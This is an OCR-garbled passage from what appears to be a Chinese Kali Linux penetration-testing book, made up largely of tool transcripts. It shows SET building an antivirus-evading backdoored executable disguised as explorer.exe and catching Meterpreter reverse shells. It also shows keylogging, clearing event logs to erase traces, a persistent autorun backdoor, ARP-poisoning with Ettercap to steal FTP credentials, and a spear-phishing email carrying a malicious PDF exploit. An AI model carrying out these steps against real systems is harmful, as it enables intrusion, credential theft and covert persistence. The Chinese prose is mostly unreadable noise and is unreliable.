8) Windows Meterpreter All Ports
9) Windows Meterpreter Reverse HTTPS
10) Windows Meterpreter Reverse DNS
11) SE Toolkit Interactive Shell
12) SE Toolkit HTTP Reverse Shell
13) RATTE HTTP Tunneling Payload
14) ShellCodeExec Alphanum Shellcode
15) Pylnjector Shellcode Injection
16) MultiPylnjector Shellcode Injection

17) Import your own executable

Hg B o &R IP bk

Description:

Spawn a command shell on victim
and send back to attacker

Spawn a meterpreter shell on
victim and send back to attacker
Spawn a VNC server on victim and
send back to attacker

Execute payload and create an
accepting port on remote system
Windows x64 Command Shell, Bind
TCP Inline

Windows X864 Command Shell,
Reverse TCP Inline

Connect back to the attacker
(Windows x64), Meterpreter
Spawn a meterpreter shell and
find a port home (every port)
Tunnel communication over HTTP
using SSL and use Meterpreter
Use a hostname instead of an IP
address and spawn Meterpreter
Custom interactive reverse

toolkit designed for SET

Purely native HTTP shell with
AES encryption support

Security bypass payload that

will tunnel all comms over HTTP
This will drop a meterpreter
payload through shellcodeexec
This will drop a meterpreter
payload through Pylnjector

This will drop multiple

Metasploit payloads via memaory
Specify a path for your own
executable

it S R B T ol B P M AT, R B R E bR R S A Y G

B AT -

(4) Apleh Xedi i H b & 4000 Windows XP 32 fir, FrLUX HURFESG S 2. W1 R Tas:

set.payloads> 2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting

in

order to get around basic AV detection.
1) shikata_ga_nai
2) No Encoding
3) Multi-Encoder
4) Backdoored Executable

an th B(E B R T EREUGE T AV Bk LR i .
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(5) IXHGEFEA 4 Bl SIAGS 4 W0 F R

set:encoding=4
set:payloads> PORT of the listener [443]: #izEHETAEOS

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[*] Backdoor completed successfully. Payload is now hidden within a legit executable.

[#] Your payload is now in the root directory of SET as payload.exe
[-] The payload can be found in the SET home directory.
set> Start the listener now? [yes|no]: yes #MEBREMROS

[-] Please wait while the Metasploit listener is loaded...
[] ==

[-] * WARNING: Database support has been disabled
[+

# cowsay++

< metasploit =

|
Vo (oo)
) N
=11+
Save your shells from AV! Upgrade to advanced AV evasion using dynamic
exe templates with Metasploit Pro - type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- —=[ 324 payloads - 32 encoders - & nops
[#] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp
PAYLOAD == windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.41.234
LHOST => 192.168.41.234
resource (/root/.set/meta_config)> set LFORT 443
LPORT ==> 443
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false
resource (/root/.set/meta_config)> exploit -
[#] Exploit running as background job.
msf exploit{handler) >
[+] Started reverse handler on 192.168.41.234:443
[#] Starting the payload handler...

ik 158 % T R b TR0 MR LR A TP Sk 5 13
?J I ?Héjkl;r iH'} JT'ﬁ -/\- handler. I|I,{é'j' IP J’L.J?Il f;”fr'ﬁl |IJ_' 'J'ZH};L, M_:['.-}{]',-'.J AIJHL -
] A7 E A Ln (FESR LS SR A, SRE 2 MV 380 Bk WL S MR B I
RS EETE, I oAb PRI e o] 28 3 45 .

7.3.2 FEWNEHETEBIRRSR

Wi 3 (Payload) i iy B - WIEE H bR & 4e A8 #0208 MG 2 )5 $hAT AR . 78
Metasploit HEAZ P ] L dyh i £, XA 0, Feofial Shell szt —FhMH br = HLE
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B3R AR

ek B HLEVER M9 3, Lty 447 Shell M XCehE4AT, 17 Bind Shell Mgk 8 fir WI7E H #5
FAL LA drA4T Shell 285 B T A9 Wr b 11, B ol BLZEFRIZ L2 11 RHTS Shell
ACH ., B R o) e T SR H bR R A L AT L dr A, WA P KA SE . R
FreR QR By & H bR RS0 Jrid.

i Mok e Hbs R4 BRI P B PR

(1) fh2 DR 1 HLERA 23 F fust/share/set T, 1% H b7 —A~ EXE 0, 44
payload.exe. fEIZIENIAN 2y T 0 Hos LHLH PRI, #iltEsuz s, Rieik
iLg AN . RIEE HA N TVEAR 2, B F Al FE RS o B S5 148 3] /usr/share/set
Hab, B H FRSOE. a4k Bros:

root@kali:~# cd /usr/share/set/

root@kali:/usr/share/set# Is

~ modules readme seautomate setoolkit seupdate src
config payload.exe README.txt seproxy setup.py seweb

MEA ERFE TR LA 245 — A~ 44 0 payload.exe (1301« 3 T ok nT EUE S0z S48 0
explorer.exe, K5 RIEHHADAN .
(2) 224 payload.exe AT % . AT AT F B

root@kali:/usr/share/set# mv payload.exe explorer.exe

root@kali:/usrishare/set# Is

- explorer.exe readme seautomate setoolkit seupdate src
config  modules README.txt  seproxy setup.py seweb

MUL N FERT LA 2], HAr A -~ 4 4 explorer.exe 3.
(3) Rzt thar AN . SRR MEPE A e ki, W SRz b r g . [
RN A SR Reik EXE SO o] LUER] ZIP i 4 46 Z00tF, Wk o
root@kali:/usr/share/set# zip healthfiles explorer.exe
adding: explorer.exe (deflated 88%)
MET AN ZE W ELES, explorerexe SCPEME I IR 45 . et s w) LU ms ¢ i e 20k
AN . MEAER HE RGP ITE, e dar — MR 2.

msf exploit(handler) =
[*] Sending stage (769024 bytes) to 192.168.41.146

[*] Meterpreter session 1 opened (192.168.41.234:443 -> 192.168.41.146:2126) at 2014-05-06
19:25:43 +0800

G ENE, R HERESEGEE R T il WAE, BGEHE 00T LA Hbx
FA LA H SRR .

7.3.3 WERBRARGEIE

CER A0 T A G AAT FAR R GE, I NI L RiE . L 28, 3K
2 T UM FRR R e b B B . O F AR R e P T X1 B
HE— BB . TR GO FRR RSB . O AT R SR I L A A A5 e
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FHs .
(1) #if Meterpreter 2 if. 047672 W FFR:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

(2) @Al AT S s

meterpreter = keyscan_start
Starting the keystroke sniffer...

(3) YR AR RSP RIEEE . AT a0 T R

meterpreter > keyscan_dump
Dumping captured keystrokes...
<Return> <Return> <Return> <N1> <Return>2 <Return> 34

MW fs BT LLE S|, BErRLHTI EI 4, WA TS 1, 2 f134 %,
7.3.4 BRI

LA N HEERS G, 1ﬁitr1’JiFf"H";ﬁ.ﬁ Al Al e 2 e 2 2 H b R H & k.
N T AW ARG T RBL, i PREAT AR M . B R I, mT g AR
V) AT ﬂEfEHJJ”'/f“:]H"f.H_ﬂL‘ﬂiijl“lﬁJJéﬂJ , [k Metasploit £ 45k T — il 77 ik vf LR 25 5) 14 of
PR EREE . R A 2848 T Metasploit 5 ERERIER) 7 k. ] Metasploit 7 B 225 11
AR AE BRI Fros.

(1) s Meterprf:tcr il AT AW s

msf exploit(handler) > sessions -i 1
[+] Starting interaction with 1...

(2) 7F Metasploit P 1] irb @7 % 0] LLISERESEE . 04T 8 S0 F Fros:

meterpreter = irb
[*] Starting IRE shell

[+*] The 'client' variable holds the meterpreter client
o>

i th 1015 BB B3R, ORI T b drd.
) WEMEMERNHE. &0 H K@ T Bk
log = client.sys.eventlog.open('system');

log = client.sys.eventlog.open('security');

(3

a

O

O log = client.sys.eventlog.open('application');

1 log = client.sys.eventlog.open('directory service');

[ log = client.sys.eventlog.open('dns server');

l:l log = client.sys.eventlog.open('file replication service').

X RGBT Hak . AT A SR B s

=>> log = client.sys.eventlog.open('system')
=> |log = client.sys.eventlog.open('security')
>> |log = client.sys.eventlog.open(‘application’)
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>> log = client.sys.eventlog.open('directory service')
>> |log = client.sys.eventlog.open('dns server')
>> log = client.sys.eventlog.open(*file replication service')

PATLL AT, FordaiE TERERI H &, PR TEIT log.clear i 4 A4 Al LL
B H & SO AT dr A0 By

>> log.clear

PATUL LA @5, H BT P i
735 fIEFHARI

YT H bR RV AR fS, # TR R E S H bR R, e
-F’Pi;;)\ﬁiﬁnﬁ?ft: S HObR R P RO T, 0 T A )t B, RS A S ) AT
VFESIESTS O R ik, O 7 ieanzid a i, bl Ealg— e &eE, A
fEERR MW, B AW LAE. PR GRS T, IR AJS T T AR D
SR B

(1) JiE Meterpreter 2315 . WATar2 W0 K 7R
msf exploit{handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

(2) BIEFFAGTLZHET, SeEE FEMMEScrE. TS irs:

meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
-A Automatically start a matching multilhandler to connect to the agent
-L <opt= Location in target host where to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.

-5 Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use

-uU Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i<opt>  The interval in seconds between each connection attempt
-p <opt> The port on the remote host where Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

DL (SR B R TR S 0k, (AN E) ik, i i iaT]
(3) G- FFAET]. ATarS T i os:

meterpreter > run persistence -U -A -i 10 - 8090 -r 192.168.41.234
[*] Running Persistance Script

[*] Resource file for cleanup created at /root/. msfd/logs/persistence/
AA-8860KJIM26FSW_20140507.2857/AA-8860KJM26FSW_20140507.2857 .rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444
[*] Persistent agent script is 148405 bytes long

[+] Persistent Script written to C:\DOCUME~1\Test\LOCALS~1\Temp\lzXBdJvcpnD.vbs

[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp

[+] Multi/Handler started!
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[*] Executing script CADOCUME~1\Test\LOCALS~1\Temp\lzXBdJvcpnD.vbs

[+] Agent executed with PID 1612
[*] Installing into autorun as HKCU\Software\MicrosoftiWindows'

CurrentVersion\Run\mERugsle
[+] Installed into autorun as HKCU\Software\MicrosoftiWindows\
CurrentVersion\Run\mERugsle

RN R RS S TR e & S I 1 Rt U e o O i (=5 0 RV < P o) S B A gt SR ekl .
T A A, {F4E7E CADOCUME~1\Test\LOCALS~1'\Temp\lzXBdJvepnD.vbs. Jf H.,
G A2 AshdE Hbr EHLEIiE T, g2 58T — A Meterpreter 215 W1 F .

meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at

2014-05-07 16:25:47 +0800

B BILL LS R R SR AR T TR .
7.3.6 HEAKE (MITM)

Hra) AZgidi (Man in the Middle Attack, fijf “MITM Ity ” ) & —Fb )% i A2 dods
AP G BEAUE I R EOR T B AR AR - & v RSO A M 28 I e
M IR TR Z ), G R “ P Ao RIR 43 ] Ettercap TH.5K
I e ) AT

1. FEMIRE

AT A28 1 v (AN et 2 3 e 25 M B T B H bR AT Heiti . LR AR
Pake, D0 I A i B0 (0 I R P AP e . B R ORI T — P R R AE R -

N EHLZ AT, Gl H i R B s AL E. R Ed b
508 TP Hohik. H s TP Hblik 2 MAC Mihb. (HU2 25 EHLE A SR b 34 3 H B EdL
[FIHBIEI, "Ea 0% ARP T4, (B R bl ol Ae b S i 5 72 Fbs L.

2. ARPHEI YR [RI2

iz i o E) N F ke, Bl S R 00 5 22 ARP 0 B DNS #8845 . FLLH W ARP
W A ], ARl E N ARP O IR RE

— et N, ARP WS A AR M S JEIEIE S, il E g OG- HLAE
1 )0 g 5 1l AL P A A ek Bty AL AT e . I e e S e T LAORE IR e AT 45 AN
Prf, MR E S RIS S . ARP o EHLA R E 7.2 k.

W 7.2 fros, MEHLA FEENLB ZEEifEn, AL A 75 H AR ARP Z8{F R
B E EHL B 1) MAC HhErf, 0L A B84 ko ob B 7 oh SR 2% ARP 45,
45 5 A S R T A D LR TS A . X, EHL C m R L AL R AL
B, %M MAC Hihl /2 XX-XX-XX-XX-XX-XX, FHL A W3l 5 a2 & E i 8 0 O 82
e M EHLA FROCE N0 BEAE R, %A e R B G AL CERLC) |, W%
i 220 FHL C #R B ML B.
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EWLABEN BN RT LT pC3¥ %

AR ENL A i MACHEAE
T XX XX XX-XX-XX
( EFLCEIMAC Hihb)

BEEN B, A MACHEE
T2 O OEXOXXX
( EHLCHI MAC Hukt)

B 7.2 ARP Mk 4L

3. piE A

S T P B SR R T B R B TRl R R
THL. XMAEECTAE TR 7.3 fiE 7.4 Fros.

BB
@= ARPYEA @

A EH B (HidH)

4 7.3 ARP T AL

fEiZBr B BN B il ARP 7 AL IR 773 E LS ARP ik, @i ARP 308k (v 7572
PRI AL A 5 I Ab T AL A] AL A L B

# B

RS S T 2 6 i o S I Y e v S SIS R L PANER € P 2o
AL A R AL B AR R, W 7.4 B,

-t Q)
{hil ARP R BRI
ztﬂ.'

EbB (Hiti#E)

P 7.4 pial A BT PLE]
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(1) FEREAS R 5 AL A [ AL C ALK, MFHZ R OAOL B LB L.

(2) LA BGRES BN C IEEE RS2 10 B # AR ML C L.

(3) FHL C W EHE Lo P A HEAGER . M L C Fm i 0L A AiFK,
[FIFE s 2k B B ek 3 Bl A L.

(4) FHLA WCEIm RS, R gsf BHLCo IR TN A BRI AL 2 S0, Rl
FHLB &FH

fill ] Ettercap T H 9B A] AT . HARERAE LB T Brs.

(1) ki3l Ettercap T.H.. AT a0 K B

root@kali:~# ettercap -G

WATEA Edr 2 I5, KGR inlE 7.5 Brasi gt .

ettercap 0.8.0 - [0 X

File Sniff Options ?

P4 7.5 Ettercap i3z S

(2) %502 Ettercap 1L WIAG Sl . H2 R oled sl It iy Ay e sz b i) A\ Xicidi. 4
SELAS P Sniff{Unified sniffing iy 4 2% & Shift+U 41588, 4§ 2o 7.6 Fron
RN

ettercap 0.8.0 | — | O | X
File m Options 7
Unified snffing... Shift+U
Bridged sniffing... Shift+8
Set poap filter... P ,—\-
. P ——

FH 7.6 K5 ahms
(3) {Ei% 51 i Unified sniffing fv4 5, 55 fE 7.7 Brx b FLim .
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attercap Input

e Metwork interface : Im -

A | MEQE) || WAQ |

H7.7 EFEED

(4) {EiZFFIEFEM 4z 11 . X BLIEFE eth0, SRFT 9 “wfe ™ 444, K EnniE 7.8
FITo B8 1

|
ettercap 0.8.0 Ls-i-u
Start Targets Hosts WView Mitm Filters Logging Plugins 7

33 plugng

(=]
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tep O5 fingerprint
2182 known services

7.8 HahiEnftm

(5) Hzshfe 5, giol LI A P ENL T o 75 30 B P L Hosts|Scan for hosts
iy E i N Cul+S #7rEE, lE 7.9 s

ettercap 0.8.0 L:-'-_-'- =
Start Targets m View Mitm Filters Logging Plugins ?

Hosts list H
Scan for hosts Ctri+5
Load frem file... Ctrl+0

’ o =
Save to file... Ctri+5

/ L \u..

7.9 Kbl

(6) fEIZS I 17 Scan for hosts iy i, KA R W 7.10 Pras i) Ff.

(7) M T A R 45 B n) LASE B 30 16 L. R EEFRRE EALHE R,
(2 R P ik % Hosts|Hosts list iy 2 olofic ™ H 8, @il 7.11 fros.

(8) friz il Hosts list 4 5, K 5o Wifd 7.12 Bros i S .
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ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins 7

el

A

L

erca

D

Privileges dropped to UID 65534 GID 65534..

33 plugins

42 protocol dissectors

57 ports monitored
16074 mac vender fingerprint
1766 tep O5 fingerprint
2182 known services

Randomizing 255 hosts for scamning...
Scanning the whole netmask for 255 hosts...

S hosts sdded to the hosts List, .

P 7.10  F6% LA

WGe Xe<
Scan for hosts g\ o L
Load from file..  Ctri+0, | gy \\

. A - / J
Savein file... Ctri+3 N ¥ /

ettercap 0.8.0 -nd

Start Targets IIHE View Mitm Filters Logging qug.i\r_n!:\\
4 'l:‘ N

Hosts list Hf

o

Bl 700 4T F WAL

Start Targets

ettercap 0.8.0

Hosts View Mitm Filters Logging Plugins 7

e

S
Host List W

IP Address
192.168.41.1
192.168.41.2

MAC Address Description
O0:50:56: C:00:08
OO:50:56:E9:AF:47

192.168.41.146 O:OC:29:48:66:40
19216841151 00:0C:29:50:F9:AE
192.168.41.254 O0:50:56:EE:50:9E

Delete Host | Add to Target 1 . Add to Target 2

33 plugins

42 protocol dissectors

57 ports monitored

16074 mac vendor fingerprint

1766 tcp O3 fingerprint

2182 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...

Bl

7.2 HfsIe e B
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(9) St s T HI R T0E ML 1P kA MAC bk, 7eiZ5timit st -4
Tl EAHBERS . X IR 192.168.41.151 FHL, #RJ5 4 Add to Target 1 FHl. #
ITH bR REE G R R A, B PR A Ok $ Start|Start sniffing a7 2 50d% F Crl+W
e, WiE 7.13 s,

Targﬂ: Hosts View Mitm Filters Logging Plugins 7

ettercap 0.8.0 -uﬂ

Start sniffing Crl+W

Stop sniffing Ctrl+E -

ess Description
Exit Crl+X co:00:08

E7.13  JFEEH

(10) JAshREE S, il ARP fFANBGHE LS H s R M EEE L. Hal
ARP JENTGE, 7ESE R P % £ Mitm| Arp poisonig...d54, WIE 7.14 fios.

ettercap 0.8.0 —ﬂﬂ

Start Targets Hosts View Filters Logging Plugine ?
Host List W Arp poisoning.,

i lemp redirect..,
IP Address M C -ﬁddl'i“

Port stealing...
192168411 00:50:56:C0 Dhep spocfing...
192.168.41,2 O00:50:56:E9
197 168 41,146 00-0C: 29-4.8 Stop mitm attack(s)

B 7.14  Arp iE AXEE

(11) Hiid; Arp poisonig 74 T, K Sl 7.15 By S8 . 7Ei% 5 ik et n
I, X HLI%FE Sniff remote connections. SR 5 i “HfE T FEEL B R 716 o

) 510

ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins 7

Host List B

| IP Address MAC Address Description

192168411  DO:50:56:C0:00:08
192168.41.2 0O:50:56:E9:AF:47
19216841146 00:0C:29:48:66:40

192 168.41.151 0D:0C:29.50:F9.AE

192.168.41. 254 00:50:56:EE:50:9E
Il Delete Host Add to Target 1

|

Add to Target 2 |

Starting WUnified sniffing. ..

MITM Attack: ARP Polsoning (F nobody)

DHCP: [00:0C: 29:50:F9-AF] REQUEST 192.168.41.151

e | Optional parameters
& |5ﬂff remote :mcﬁms.|

[ Only poison one-way.

y | MEO) || RO i

DHCP: [192.168.41 254] ACK : 192.168.41.151 255.255.255.0 GW 192.168.41.2 DN5
192 168.41.2 "localdomain”

IARP poisoning victims:
GROUP 1:192.168.41.151 00:0C: 2%:50:F:AE

GROUP 2 : ANY (all the hosts in the list)

FE 715 Bk
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(12) teit, S5 P Bt 192.168.41.151 EHLIN, & HEURE B St es ek
e A A R S 717 s
d:l:ercapﬁ.a.ﬂ Hﬂ“

Start Targets Hosts View Mitm Filters Logging Plugins *#

Heost List W

IP Address MAC Address Description
192.1658.41.1  OO:50:56:C0:00:08
192.168.41.2  00:50:56:E9:AF:47
192.168.41.146 O00:0C 29:48:66:40

192.168.41.151 00:0C: 29:50:F9:AE

192.168.41.254 00:50:56:EE:50:9E

Delete Host Add to Target 1 I[ Add to Target 2

[2]

192.168.41.2 "localdomain”
IARP poisoning victims:
GROUP1:192 16841151 00:0C:29:50:F9:AE

GROUP 2 : ANY (all the hosts in the List)

FTP:19216841.151:21 -> USER: anonymous PASS: 123456

DHCP; [00:0C: 29:50:F9:AE] REQUEST 192.168.41.151

DHCP: [192.168.41.254] ACK : 192.168.41.151 255.255.255.0.GW 192.168.41.2 DNS

192.168.41. 2 “localdomain”

P 7.17 S ARSI U A

(13) Mz n LLE S, A7H 2 &k 192.168.41.151 EHLAY FTP kd4: 7. M 4
Ay anonymous, #0594 123456, FHUX ST B EREE, ESE R G i o Start|Stop

sniffing w74, Wik 7.18 Pk .
C14) A5 bR s, b A kP A Y, o 7S A PRI Mitm|Stop mitm

attack(s) g%, K G 7.19 Fron i) 5.
ettercap 0.8.0 HE'“ = sovoty)

mT:rgeu Hosts View Mitm Filters Logging Plugins ?
o MITM attack(s) stopped

Start sniffing Ctri+w

Stop sniffing Ctri+E

eass Description .
Exit Ctrl+X co.00:08 N WE(©0)
. ! |

B 7.18 bR [ 7.19 e ak e Ay

(15) fEESt My “6fie” M, XFEmRIh IR 17 o a) A8 .
7.4 4% SET %363 &
AT e T4 TR T RO (SET) SR . 4 THEFEDHR PSS i RE a4t

o LRFRATRE . AT A a i Ak TR TR Y& Oeii
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741 MM EHEE

B OGP £ £ Mgk e 3 I R 3 R R SO R X e T BEAT B IE M, WA A Adobe
Reader 8.1.0 (PDF [ 2%) (MR - Sy el i & 0 S ad A st i b e A0 =0, 4
B I S AE R B bR BNl 2 B bR S L AL AT TRE0 LR 2Rl H AR L2
WIS B A

SET i JTT 18] 5 0 {45 BE M (SMTP) [ JF HOACEL (B & (1 el 7 AIER )« Gmail
A Sendmail AL SET RIS AL AT EsE -7 mEF AL T- HTML 5 3R A7 AR
K shey .

(£ 7-1]1 4R SET SE gy Bl m) i, A poiid A% A7 72385 U (1) PDF 4%
SCAFEIH bR AL B ARBRAE IR T B

(1) Mahtbs T2 HATar S B

root@kali:~# setoolkit

[-] New set_config.py file generated on: 2014-06-06 18:33:39.854805

[-] Verifying configuration update...

[#] Update verified, config timestamp is: 2014-06-06 18:33:39.854805
[*] SET is using the new config, no need to restart

I S S |
R W R |
f_ 1 _ |

I i1
I~ The Social-Engineer Toolkit (SET) [--]
— Created by: David Kennedy (ReL 1K) [--]
[---] Version: 5.4.2 [~]
[--] Codename: 'Walkers' [--]
[--] Follow us on Twitter: @ TrustedSec -]
—] Follow me on Twitter: @HackingDave [--]
[---] Homepage: https://www.trustedsec.com []

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https:/fwww. trustedsec.com
Select from the menu: HEBWLRE

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set=
(2) el Fammrpin et & TS, WS N 1, WFFs:
set=1
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I\ M
! "
Il Social-Engineer Toolkit !! \
I n o
n Free n
! n
1" #hugs n
n n
n By: TrustedSec i
! "y
) W
A\ [N
! Y
/oooo oooo oooo 0000 !
[00000000000000000000000/ /
/00000000000000000000000/ |
IC= [/
[-] The Social-Engineer Toolkit (SET) [--]
[--] Created by: David Kennedy (ReL1K) [--]
] Version: 5.4.2 [—]
[-=-] Codename: "Walkers' [-=-]
[---] Follow us on Twitter: @TrustedSec [--]
[--] Follow me on Twitter: @HackingDave [—]
-] Homepage: hitps:/fwww.trustedsec.com [—]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoalkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: hitps:/iwww.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.

set>
(3) FELL b e o R IX LR PRy A MG i, S5 00 1 W R AR
set> 1

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail” is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=0OFF
flag to SENDMAIL=0ON.
There are two options, one is getting your feet wet and letting SET do

everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template

99) Return to Main Menu
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LA I +ﬁ.i.|f'}1’..”~lm 79 ) P o] A T 3 ey .
(4) EHBBEF IO I, e o 1, IR s
set:phishing=1

Select the file format exploit you want.
The default is the PDF embedded EXE.
sxkerktrrsr PAYLOADS #4stsstss

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack
3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5) Adobe Flash Player "Button” Remote Code Execution
6) Adobe CoolType SING Table "uniqgueName" Overflow
7) Adobe Flash Player "newfunction” Invalid Painter Use
8) Adobe Collab.collectEmaillnfo Buffer Overflow
9) Adobe Collab.geticon Buffer Overflow

10) Adobe JBIG2Decode Memory Corruption Exploit

11) Adobe PDF Embedded EXE Social Engineering

12) Adobe util.printf() Buffer Overflow

13) Custom EXE to VBA (sent via RAR) (RAR required)

14) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

15) Adobe PDF Embedded EXE Social Engineering (NOJS)

16) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

17) Apple QuickTime PICT PnSize Buffer Overflow

18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

19) Adobe Reader u3D Memory Corruption Vulnerability

20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

set:payloads>8

it M S s TR s ) &b B A S tE ks e, ER L2 PDF 5t
(5) iZ L F|H] Abobe PDF [{] Collab.collectEmaillnfo &, By LLi%FE4d'S 8, Wl F Fyas.

1) Windows Reverse TCP Shell Spawn a command shell on victim
and send back to attacker

2) Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on
victim and send back to attacker

3) Windows Reverse VNC DLL Spawn a VNC server on victim and
send back to attacker

4) Windows Reverse TCP Shell (x64) Windows X64 Command Shell,

Reverse TCP Inline
5) Windows Meterpreter Reverse_TCP (X64)  Connect back to the attacker
(Windows x64), Meterpreter

B6) Windows Shell Bind_TCP (X64) Execute payload and create an
accepting port on remote system
7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP

using SSL and use Meterpreter

PAEAR B o 1 Beds i 0y 2K
(6) XHUEFES 2 B, Wi kP

set:payloads=2

set> IP address for the payload listener:192.168.41.156 #i&E & FHLAYHeLE
set:payloads=> Port to connect back on [443]: HEEMEFNEOS
[-] Defaulting to port 443...

[-] Generating fileformat exploit...

[*] Payload creation complete.

[*] All payloads get sent to the /root/.settemplate.pdf directory
[-] As an added bonus, use the file-format creator in SET to create your attachment.
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Right now the attachment will be imported with filename of'template.
whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf
1. Keep the filename, | don't care.
2. Rename the file, | want to be coal.

ML b s B, TG BIGhE donr G dt se ple . ey ok de gy 8 7 78 oot/ set/ 1,
SCAF 4 24 template.pdf.

(7) 31X R P2 5 iy 4412 0. 1K BLE HI BR LY PDF SC{F template.pdf, A% 5 1,
W r s

set:phishing=1

[*] Keeping the filename and moving on.
Social Engineer Toolkit Mass E-Mailer
There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
What do you want to do:
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
99, Return to main menu.

(s B s T B S iy
(8) X HUEFREN G — b g7 Moy, FaASm = 1, W Ao
set:phishing=1

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

it B R s 5 Al T AT 8 AOMRER . SET AiF Bl 2 60 A [R) (K454
it H. r’r-fd:llh]aj-;.m-;;u s
(9) X HUHH filst e SO B, S s 1, W PR

set:phishing=>1

[-] Available templates:

1: Have you seen this?

2: How long has it been?
3: Strange internet usage from your computer
4: Status Report
5: New Update

6: Computer Issue
7: Dan Brown's Angels & Demons
8: Order Cnnfirmatinn

9:

10: Baby Pics
it (S B s T A A R
(10) X HLEE R I TS SO SET BEfHHL 8 Status Report, i A% 4, W1 FFrr:

set:phishing=>4
set:phishing> Send email to:=+++++++@126.com #1588 AR A B ik ht
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1. Use a gmail Account for your email attack.
2. Use your own server or open relay

-ﬂil] |||f;| ||_,L T fJ\ 0 F 1 ff \ " ’Hl.:&,ii.lt_.h[ FF{J z'je';j.. @
(11) X PR Gmail IEE WS, SASS 1, W F s

set:phishing=1

set:phishing> Your gmail email address:=+++=++++++@gmail.com #ifi A Gmail B4R~
set:phishing= The FROM NAME user will see: :

Email password: #iG N AR R
set:phishing> Flag this message/s as high priority? [yes|no].yes

[*] SET has finished delivering the emails

set:phishing> Setup a listener [yes|no]:

M B, WTELAE B SET A% i M F v B 58 ilee b sl o] LUAE 1% Gmail M/, 45
S H AR RE (erxrsrrs@126.com) RIEEE . B5, AT R E DRI,

C(12) XA E A0, B s 8y g e, 2 SET Ji sl Metasploit [,
B LERNCE T A W A 0, K T U A B s AL TP B )i B 443 w0, R PR

set:phishing> Setup a listener [yes|no]:yes

[ #++

[-] * WARNING: Database support has been disabled

[-] ok

# cowsay++

< metasploit >

\ (oo)
) N
[I-11 *
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
- type 'go_pro' to launch it now.
=[ metasploit v4.6.2-2014010101 [core:4.8 api:1.0]
+ -- —=[ 1246 exploits - 678 auxiliary - 198 post
+ -- —=[ 324 payloads - 32 encoders - 8 nops
[#¥] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multifhandler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse _tcp
resource (/root/.set/meta_config)> set LHOST 192.168.41.156
LHOST => 192.168.41.156
resource (/root/.set/meta_config)> set LFORT 443
LPORT == 443
resource (/root/.set/meta_config)> set ENCODING shikata_ga_nai
ENCODING == shikata_ga_pai
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -
[*] Exploit running as background job.
msf exploit(handler) =
[+#] Started reverse handler on 192.168.41.156:443
[+#] Starting the payload handler...
msf exploit(handler) =

